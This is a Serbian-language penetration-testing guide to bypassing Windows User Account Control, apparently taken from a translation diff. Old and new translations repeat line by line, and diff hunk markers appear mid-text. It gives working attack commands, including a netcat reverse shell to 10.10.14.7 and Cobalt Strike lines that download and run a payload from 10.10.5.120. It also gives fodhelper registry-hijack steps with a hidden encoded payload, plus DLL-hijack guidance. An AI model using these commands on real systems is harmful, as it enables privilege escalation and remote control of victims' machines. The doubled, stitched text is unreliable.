| [User Account Control: Behavior of the elevation prompt for standard users](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-standard-users) | ConsentPromptBehaviorUser | Zatraži kredencijale na sigurnom desktopu |
| [User Account Control: Detect application installations and prompt for elevation](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-detect-application-installations-and-prompt-for-elevation) | EnableInstallerDetection | Omogućeno (default for home) Onemogućeno (default for enterprise) |
| [User Account Control: Only elevate executables that are signed and validated](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-executables-that-are-signed-and-validated) | ValidateAdminCodeSignatures | Onemogućeno |
| [User Account Control: Only elevate UIAccess applications that are installed in secure locations](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-uiaccess-applications-that-are-installed-in-secure-locations) | EnableSecureUIAPaths | Omogućeno |
| [User Account Control: Run all administrators in Admin Approval Mode](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-run-all-administrators-in-admin-approval-mode) | EnableLUA | Omogućeno |
| [User Account Control: Switch to the secure desktop when prompting for elevation](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-switch-to-the-secure-desktop-when-prompting-for-elevation) | PromptOnSecureDesktop | Omogućeno |
| [User Account Control: Virtualize file and registry write failures to per-user locations](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-virtualize-file-and-registry-write-failures-to-per-user-locations) | EnableVirtualization | Omogućeno |
### Teorija zaobilaženja UAC-a
### UAC Bypass Theory
Neki programi su **automatski uzdignuti** ako **korisnik pripada** **grupi administratora**. Ove binarne datoteke imaju unutar svojih _**Manifesta**_ opciju _**autoElevate**_ sa vrednošću _**True**_. Binarna datoteka takođe mora biti **potpisana od strane Microsoft-a**.
Neki programi se automatski podižu na viši nivo privilegija ("autoelevated") ako korisnik pripada administratorskoj grupi. Ti binarni fajlovi u svom _**Manifests**_ sadrže opciju _**autoElevate**_ sa vrednošću _**True**_. Binarni fajl takođe mora biti **potpisan od strane Microsoft-a**.
Mnogi procesi sa automatskim uzdizanjem izlažu **funkcionalnost putem COM objekata ili RPC servera**, koji se mogu pozvati iz procesa koji rade sa srednjim integritetom (privilegije na nivou redovnog korisnika). Imajte na umu da su COM (Model objekata komponenti) i RPC (Daljinski poziv procedura) metode koje Windows programi koriste za komunikaciju i izvršavanje funkcija između različitih procesa. Na primer, **`IFileOperation COM objekat`** je dizajniran za upravljanje operacijama sa datotekama (kopiranje, brisanje, premještanje) i može automatski uzdignuti privilegije bez prompte.
Mnogi auto-elevate procesi izlažu **funkcionalnost preko COM objekata ili RPC servera**, koji se mogu pozvati iz procesa koji rade sa medium integritetom (privilegije običnog korisnika). Napomena: COM (Component Object Model) i RPC (Remote Procedure Call) su metode koje Windows programi koriste za komunikaciju i izvršavanje funkcija između različitih procesa. Na primer, **`IFileOperation COM object`** je dizajniran za rukovanje operacijama nad fajlovima (kopiranje, brisanje, pomeranje) i može automatski podići privilegije bez prikaza upita.
Imajte na umu da se neki provere mogu izvršiti, kao što je provera da li je proces pokrenut iz **System32 direktorijuma**, što se može zaobići, na primer, **injektovanjem u explorer.exe** ili drugu izvršnu datoteku smeštenu u System32.
Takođe, neke provere mogu biti izvršene, na primer proveravanje da li je proces pokrenut iz **System32 directory**, što se može zaobići, na primer, **injecting into explorer.exe** ili druge izvršne datoteke locirane u System32.
Drugi način za zaobilaženje ovih provera je **modifikacija PEB-a**. Svaki proces u Windows-u ima Blok okruženja procesa (PEB), koji uključuje važne podatke o procesu, kao što je njegova putanja izvršne datoteke. Modifikovanjem PEB-a, napadači mogu lažirati (spoof) lokaciju svog malicioznog procesa, čineći da izgleda kao da se pokreće iz pouzdane direktorijuma (kao što je system32). Ove lažne informacije obmanjuju COM objekat da automatski uzdigne privilegije bez traženja od korisnika.
Drugi način za zaobilaženje ovih provera je izmena **PEB**. Svaki proces u Windows-u ima Process Environment Block (PEB), koji uključuje važne podatke o procesu, kao što je putanja do izvršne datoteke. Izmenom PEB-a, napadači mogu falsifikovati (spoofovati) lokaciju svog malicioznog procesa, čineći da izgleda kao da se pokreće iz pouzdanog direktorijuma (npr. system32). Ove lažne informacije prevare COM objekat da automatski podigne privilegije bez prikazivanja upita korisniku.
Zatim, da bi se **zaobišao** **UAC** (uzdignuće sa **srednjeg** nivoa integriteta **na visoki**), neki napadači koriste ovu vrstu binarnih datoteka da **izvrše proizvoljan kod** jer će se izvršiti iz **procesa sa visokim nivoom integriteta**.
Zatim, da bi **zaobišli** **UAC** (podižući sa **medium** nivoa integriteta **na high**), neki napadači koriste ovakve binarne fajlove da bi **izvršili proizvoljan kod**, jer će on biti izvršen iz procesa sa **High** nivoom integriteta.
Možete **proveriti** _**Manifest**_ binarne datoteke koristeći alat _**sigcheck.exe**_ iz Sysinternals. (`sigcheck.exe -m <file>`) I možete **videti** **nivo integriteta** procesa koristeći _Process Explorer_ ili _Process Monitor_ (iz Sysinternals).
Možete proveriti _**Manifest**_ binarnog fajla koristeći alat _**sigcheck.exe**_ iz Sysinternals. (`sigcheck.exe -m <file>`) I možete videti **nivo integriteta** procesa koristeći _Process Explorer_ ili _Process Monitor_ (iz Sysinternals).
### Proverite UAC
### Check UAC
Da potvrdite da li je UAC omogućen, uradite:
Da biste potvrdili da li je UAC omogućen uradite:
```
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
EnableLUA REG_DWORD 0x1
```
Ako je **`1`**, onda je UAC **aktiviran**, ako je **`0`** ili **ne postoji**, onda je UAC **neaktivan**.
Ako je **`1`** onda je UAC **aktiviran**, ako je **`0`** ili ne postoji, UAC je **neaktivan**.
Zatim, proverite **koji nivo** je konfigurisan:
Zatim proverite **koji nivo** je konfigurisan:
```
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v ConsentPromptBehaviorAdmin
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
ConsentPromptBehaviorAdmin REG_DWORD 0x5
```
- Ako je **`0`**, UAC neće tražiti (kao **onemogućeno**)
- Ako je **`1`**, administratoru se **traži korisničko ime i lozinka** da izvrši binarni fajl sa visokim pravima (na Secure Desktop)
- Ako je **`2`** (**Uvek me obavesti**) UAC će uvek tražiti potvrdu od administratora kada pokuša da izvrši nešto sa visokim privilegijama (na Secure Desktop)
- Ako je **`3`**, kao `1` ali nije neophodno na Secure Desktop
- Ako je **`4`**, kao `2` ali nije neophodno na Secure Desktop
- Ako je **`5`**(**podrazumevano**) tražiće od administratora da potvrdi pokretanje ne-Windows binarnih fajlova sa visokim privilegijama
- If **`0`** then, UAC won't prompt (like **disabled**)
- If **`1`** the admin is **asked for username and password** to execute the binary with high rights (on Secure Desktop)
- If **`2`** (**Always notify me**) UAC will always ask for confirmation to the administrator when he tries to execute something with high privileges (on Secure Desktop)
- If **`3`** like `1` but not necessary on Secure Desktop
- If **`4`** like `2` but not necessary on Secure Desktop
- if **`5`**(**default**) it will ask the administrator to confirm to run non Windows binaries with high privileges
Zatim, treba da pogledate vrednost **`LocalAccountTokenFilterPolicy`**\
Ako je vrednost **`0`**, tada samo **RID 500** korisnik (**ugrađeni Administrator**) može da obavlja **administrativne zadatke bez UAC**, a ako je `1`, **svi nalozi unutar grupe "Administratori"** mogu to da rade.
Ako je vrednost **`0`**, onda samo korisnik **RID 500** (**built-in Administrator**) može da izvršava **admin zadatke bez UAC**, a ako je `1`, **svi nalozi u grupi "Administrators"** mogu to da rade.
I, konačno, pogledajte vrednost ključa **`FilterAdministratorToken`**\
Ako je **`0`** (podrazumevano), **ugrađeni Administrator nalog može** da obavlja udaljene administrativne zadatke, a ako je **`1`**, ugrađeni nalog Administrator **ne može** da obavlja udaljene administrativne zadatke, osim ako je `LocalAccountTokenFilterPolicy` postavljen na `1`.
I, na kraju, pogledajte vrednost ključa **`FilterAdministratorToken`**\
Ako je **`0`** (default), **built-in Administrator account može** da obavlja zadatke udaljene administracije, a ako je **`1`** built-in Administrator nalog **ne može** da obavlja udaljenu administraciju, osim ako `LocalAccountTokenFilterPolicy` nije postavljen na `1`.
#### Sažetak
- Ako je `EnableLUA=0` ili **ne postoji**, **nema UAC za nikoga**
- Ako je `EnableLua=1` i **`LocalAccountTokenFilterPolicy=1`, nema UAC za nikoga**
- Ako je `EnableLua=1` i **`LocalAccountTokenFilterPolicy=0` i `FilterAdministratorToken=0`, nema UAC za RID 500 (ugrađeni Administrator)**
- Ako je `EnableLua=1` i **`LocalAccountTokenFilterPolicy=0` i `FilterAdministratorToken=1`, UAC za sve**
- If `EnableLUA=0` or **doesn't exist**, **no UAC for anyone**
- If `EnableLua=1` and **`LocalAccountTokenFilterPolicy=1` , No UAC for anyone**
- If `EnableLua=1` and **`LocalAccountTokenFilterPolicy=0` and `FilterAdministratorToken=0`, No UAC for RID 500 (Built-in Administrator)**
- If `EnableLua=1` and **`LocalAccountTokenFilterPolicy=0` and `FilterAdministratorToken=1`, UAC for everyone**
Sve ove informacije mogu se prikupiti koristeći **metasploit** modul: `post/windows/gather/win_privs`
All this information can be gathered using the **metasploit** module: `post/windows/gather/win_privs`
Takođe možete proveriti grupe vašeg korisnika i dobiti nivo integriteta:
You can also check the groups of your user and get the integrity level:
```
net user %username%
whoami /groups | findstr Level
```
## UAC zaobilaženje
## UAC bypass
> [!TIP]
> Imajte na umu da ako imate grafički pristup žrtvi, UAC zaobilaženje je jednostavno jer možete jednostavno kliknuti na "Da" kada se UAC prozor pojavi
> Imajte na umu da ako imate grafički pristup žrtvi, UAC bypass je jednostavan jer možete jednostavno kliknuti na "Da" kada se pojavi UAC prompt
UAC zaobilaženje je potrebno u sledećoj situaciji: **UAC je aktiviran, vaš proces se izvršava u kontekstu srednje integriteta, a vaš korisnik pripada grupi administratora**.
The UAC bypass is needed in the following situation: **UAC je aktiviran, vaš proces radi u kontekstu srednjeg nivoa integriteta, i vaš nalog pripada grupi administratora**.
Važno je napomenuti da je **mnogo teže zaobići UAC ako je na najvišem nivou sigurnosti (Uvek) nego ako je na bilo kojem od drugih nivoa (Podrazumevano).**
Važno je napomenuti da je **mnogo teže zaobići UAC ako je na najvišem nivou bezbednosti (Always) nego ako je na nekom od ostalih nivoa (Default).**
### UAC onemogućen
### UAC disabled
Ako je UAC već onemogućen (`ConsentPromptBehaviorAdmin` je **`0`**) možete **izvršiti obrnuti shell sa administratorskim privilegijama** (visok nivo integriteta) koristeći nešto poput:
If UAC is already disabled (`ConsentPromptBehaviorAdmin` is **`0`**) you can **execute a reverse shell with admin privileges** (high integrity level) using something like:
```bash
#Put your reverse shell instead of "calc.exe"
Start-Process powershell -Verb runAs "calc.exe"
Start-Process powershell -Verb runAs "C:\Windows\Temp\nc.exe -e powershell 10.10.14.7 4444"
```
#### UAC zaobilaženje sa duplikacijom tokena
#### UAC bypass with token duplication
- [https://ijustwannared.team/2017/11/05/uac-bypass-with-token-duplication/](https://ijustwannared.team/2017/11/05/uac-bypass-with-token-duplication/)
- [https://www.tiraniddo.dev/2018/10/farewell-to-token-stealing-uac-bypass.html](https://www.tiraniddo.dev/2018/10/farewell-to-token-stealing-uac-bypass.html)
### **Veoma** osnovno UAC "zaobilaženje" (potpun pristup datotečnom sistemu)
### **Vrlo** osnovni UAC "bypass" (potpun pristup fajl sistemu)
Ako imate shell sa korisnikom koji je unutar Administrators grupe možete **montirati C$** deljenje putem SMB (datotečni sistem) lokalno na novom disku i imaćete **pristup svemu unutar datotečnog sistema** (čak i Administratorovoj početnoj fascikli).
Ako imate shell sa korisnikom koji je u grupi Administrators, možete **mount-ovati C$ share preko SMB-a** lokalno kao novi disk i imaćete **pristup svemu u fajl sistemu** (čak i Administratorovom korisničkom direktorijumu).
> [!WARNING]
> **Izgleda da ova trik više ne funkcioniše**
> **Izgleda da ovaj trik više ne radi**
```bash
net use Z: \\127.0.0.1\c$
cd C$
@ -123,9 +124,9 @@ cd C$
#Or you could just access it:
dir \\127.0.0.1\c$\Users\Administrator\Desktop
```
### UAC zaobilaženje sa cobalt strike
### UAC bypass sa cobalt strike
Tehnike Cobalt Strike će raditi samo ako UAC nije postavljen na maksimalni nivo sigurnosti.
Tehnike Cobalt Strike rade samo ako UAC nije podešen na maksimalni nivo bezbednosti.
```bash
# UAC bypass via token duplication
elevate uac-token-duplication [listener_name]
@ -137,18 +138,18 @@ runasadmin uac-token-duplication powershell.exe -nop -w hidden -c "IEX ((new-obj
# Bypass UAC with CMSTPLUA COM interface
runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"
```
**Empire** i **Metasploit** takođe imaju nekoliko modula za **obići** **UAC**.
**Empire** i **Metasploit** takođe imaju nekoliko modula za **bypass** **UAC**.
### KRBUACBypass
Dokumentacija i alat u [https://github.com/wh0amitz/KRBUACBypass](https://github.com/wh0amitz/KRBUACBypass)
Dokumentacija i alat na [https://github.com/wh0amitz/KRBUACBypass](https://github.com/wh0amitz/KRBUACBypass)
### UAC bypass eksploati
### UAC bypass exploits
[**UACME** ](https://github.com/hfiref0x/UACME)koji je **kompilacija** nekoliko UAC bypass eksploata. Imajte na umu da ćete morati da **kompajlirate UACME koristeći visual studio ili msbuild**. Kompilacija će kreirati nekoliko izvršnih fajlova (kao što je `Source\Akagi\outout\x64\Debug\Akagi.exe`), moraćete da znate **koji vam je potreban.**\
Trebalo bi da **budete oprezni** jer neki bypass-ovi mogu **izazvati neka druga programa** koja će **obavestiti** **korisnika** da se nešto dešava.
[**UACME** ](https://github.com/hfiref0x/UACME) koji je **kompilacija** nekoliko UAC bypass exploits. Imajte na umu da ćete morati **kompajlirati UACME koristeći visual studio ili msbuild**. Kompilacija će kreirati nekoliko izvršnih fajlova (npr. `Source\Akagi\outout\x64\Debug\Akagi.exe`), moraćete da znate **koji vam je potreban.**\
Trebalo bi da budete **pažljivi** jer će neki bypass-i **pokrenuti neke druge programe** koji će **obavestiti** **korisnika** da se nešto dešava.
UACME ima **verziju izgradnje od koje je svaka tehnika počela da funkcioniše**. Možete pretraživati tehniku koja utiče na vaše verzije:
UACME sadrži **build verziju od koje je svaka tehnika počela da radi**. Možete pretražiti tehniku koja utiče na vaše verzije:
```
PS C:\> [environment]::OSVersion.Version
@ -156,41 +157,79 @@ Major Minor Build Revision
----- ----- ----- --------
10 0 14393 0
```
Takođe, koristeći [this](https://en.wikipedia.org/wiki/Windows_10_version_history) stranicu dobijate Windows verziju `1607` iz verzija build-a.
Takođe, koristeći [this](https://en.wikipedia.org/wiki/Windows_10_version_history) stranicu dobijate Windows izdanje `1607` iz verzija build-a.
#### Više UAC zaobilaženja
### UAC Bypass – fodhelper.exe (Registry hijack)
**Sve** tehnike korišćene ovde za zaobilaženje AUC **zahtevaju** **potpun interaktivni shell** sa žrtvom (običan nc.exe shell nije dovoljan).
Pouzdani binarni fajl `fodhelper.exe` se automatski povišava na modernim Windows sistemima. Kada se pokrene, upituje per-user registry putanju ispod bez validacije `DelegateExecute` verbe. Postavljanje komande tamo omogućava procesu sa Medium Integrity (korisnik je u Administrators) da pokrene proces sa High Integrity bez UAC prompta.
Možete dobiti koristeći **meterpreter** sesiju. Migrirajte na **proces** koji ima **Session** vrednost jednaku **1**:
Registry path queried by fodhelper:
```
HKCU\Software\Classes\ms-settings\Shell\Open\command
```
PowerShell koraci (postavite svoj payload, zatim pokrenite):
```powershell
# Optional: from a 32-bit shell on 64-bit Windows, spawn a 64-bit PowerShell for stability
C:\\Windows\\sysnative\\WindowsPowerShell\\v1.0\\powershell -nop -w hidden -c "$PSVersionTable.PSEdition"
# 1) Create the vulnerable key and values
New-Item -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force | Out-Null
New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force | Out-Null
# 2) Set default command to your payload (example: reverse shell or cmd)
# Replace <BASE64_PS> with your base64-encoded PowerShell (or any command)
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value "powershell -ExecutionPolicy Bypass -WindowStyle Hidden -e <BASE64_PS>" -Force
# 3) Trigger auto-elevation
Start-Process -FilePath "C:\\Windows\\System32\\fodhelper.exe"
# 4) (Recommended) Cleanup
Remove-Item -Path "HKCU:\Software\Classes\ms-settings\Shell\Open" -Recurse -Force
```
Beleške:
- Radi kada je trenutni korisnik član grupe Administrators i UAC nivo je podrazumevan/opušten (ne Always Notify sa dodatnim ograničenjima).
- Koristite putanju `sysnative` da pokrenete 64-bit PowerShell iz 32-bit procesa na 64-bit Windowsu.
- Payload može biti bilo koja komanda (PowerShell, cmd, or an EXE path). Izbegavajte UI koji zahtevaju potvrdu radi prikrivenosti.
#### More UAC bypass
**All** the techniques used here to bypass UAC **require** a **full interactive shell** with the victim (a common nc.exe shell is not enough).
You can get using a **meterpreter** session. Migrate to a **process** that has the **Session** value equals to **1**:
![](<../../images/image (863).png>)
(_explorer.exe_ bi trebao raditi)
(_explorer.exe_ bi trebalo da radi)
### UAC zaobilaženje sa GUI
### UAC Bypass with GUI
Ako imate pristup **GUI-u, možete jednostavno prihvatiti UAC prompt** kada ga dobijete, zaista vam nije potrebna zaobilaznica. Dakle, dobijanje pristupa GUI-u će vam omogućiti da zaobiđete UAC.
Ako imate pristup **GUI, jednostavno možete prihvatiti UAC prompt** kada se pojavi — zaista vam tada nije potreban bypass. Dakle, dobijanje pristupa GUI omogućava zaobilaženje UAC.
Štaviše, ako dobijete GUI sesiju koju je neko koristio (potencijalno putem RDP-a), postoje **neki alati koji će raditi kao administrator** odakle možete **pokrenuti** **cmd** na primer **kao admin** direktno bez ponovnog traženja od strane UAC kao [**https://github.com/oski02/UAC-GUI-Bypass-appverif**](https://github.com/oski02/UAC-GUI-Bypass-appverif). Ovo bi moglo biti malo više **neprimetno**.
Štaviše, ako dobijete GUI sesiju koju je neko koristio (potencijalno preko RDP), postoje **neki alati koji će se pokretati kao administrator** iz kojih biste, na primer, mogli **pokrenuti** **cmd** **as admin** direktno bez ponovnog UAC prompta, kao [**https://github.com/oski02/UAC-GUI-Bypass-appverif**](https://github.com/oski02/UAC-GUI-Bypass-appverif). Ovo može biti malo **stealthy**.
### Bučan brute-force UAC zaobilaženje
### Noisy brute-force UAC bypass
Ako vam nije stalo do buke, uvek možete **pokrenuti nešto poput** [**https://github.com/Chainski/ForceAdmin**](https://github.com/Chainski/ForceAdmin) koje **traži da se podignu dozvole dok korisnik ne prihvati**.
Ako vam ne smeta buka, uvek možete **pokrenuti nešto kao** [**https://github.com/Chainski/ForceAdmin**](https://github.com/Chainski/ForceAdmin) koje **traži elevaciju privilegija sve dok korisnik to ne prihvati**.
### Vaša vlastita zaobilaznica - Osnovna metodologija UAC zaobilaženja
### Your own bypass - Basic UAC bypass methodology
Ako pogledate **UACME**, primetićete da **većina UAC zaobilaženja zloupotrebljava Dll Hijacking ranjivost** (pretežno pisanje malicioznog dll-a na _C:\Windows\System32_). [Pročitajte ovo da biste saznali kako pronaći Dll Hijacking ranjivost](../windows-local-privilege-escalation/dll-hijacking/index.html).
Ako pogledate **UACME** primetićete da **većina UAC bypass-ova zloupotrebljava Dll Hijacking vulnerabilit**y (uglavnom upisujući maliciozni dll u _C:\Windows\System32_). [Read this to learn how to find a Dll Hijacking vulnerability](../windows-local-privilege-escalation/dll-hijacking/index.html).
1. Pronađite binarni fajl koji će **autoelevate** (proverite da kada se izvrši, radi na visokom integritetu).
2. Sa procmon-om pronađite događaje "**NAME NOT FOUND**" koji mogu biti ranjivi na **DLL Hijacking**.
3. Verovatno ćete morati da **napišete** DLL unutar nekih **zaštićenih putanja** (kao što je C:\Windows\System32) gde nemate dozvole za pisanje. Možete zaobići ovo koristeći:
1. **wusa.exe**: Windows 7, 8 i 8.1. Omogućava ekstrakciju sadržaja CAB fajla unutar zaštićenih putanja (jer se ovaj alat izvršava iz visoke razine integriteta).
1. Pronađite binarni fajl koji će **autoelevate** (proverite da pri izvršenju radi u visokom integritetskom nivou).
2. Pomoću procmon pronađite događaje "**NAME NOT FOUND**" koji mogu biti ranjivi na **DLL Hijacking**.
3. Verovatno ćete morati da **upisete** DLL u neke **zaštićene putanje** (kao C:\Windows\System32) gde nemate dozvolu za pisanje. Ovo možete zaobići koristeći:
1. **wusa.exe**: Windows 7, 8 i 8.1. Omogućava ekstrakciju sadržaja CAB fajla u zaštićene putanje (jer se ovaj alat izvršava u visokom integritetskom nivou).
2. **IFileOperation**: Windows 10.
4. Pripremite **skriptu** da kopirate svoj DLL unutar zaštićene putanje i izvršite ranjivi i autoelevated binarni fajl.
4. Pripremite **script** koji će kopirati vaš DLL u zaštićenu putanju i pokrenuti ranjivi i autoelevated binarni fajl.
### Još jedna tehnika zaobilaženja UAC
### Another UAC bypass technique
Sastoji se u praćenju da li **autoElevated binarni fajl** pokušava da **pročita** iz **registrija** **ime/putanju** **binarne** ili **komande** koja treba da bude **izvršena** (ovo je zanimljivije ako binarni fajl traži ove informacije unutar **HKCU**).
Sastoji se u proveri da li neki **autoElevated binary** pokušava da **read** iz **registry** **name/path** nekog **binary** ili **command** koji će biti **executed** (ovo je interesantnije ako binary traži ovu informaciju u okviru **HKCU**).
## References
- [HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf) – fodhelper UAC bypass steps](https://0xdf.gitlab.io/2025/08/07/htb-rainbow.html)
- [LOLBAS: Fodhelper.exe](https://lolbas-project.github.io/lolbas/Binaries/Fodhelper/)
- [Microsoft Docs – How User Account Control works](https://learn.microsoft.com/windows/security/identity-protection/user-account-control/how-user-account-control-works)
- [UACME – UAC bypass techniques collection](https://github.com/hfiref0x/UACME)
{{#include ../../banners/hacktricks-training.md}}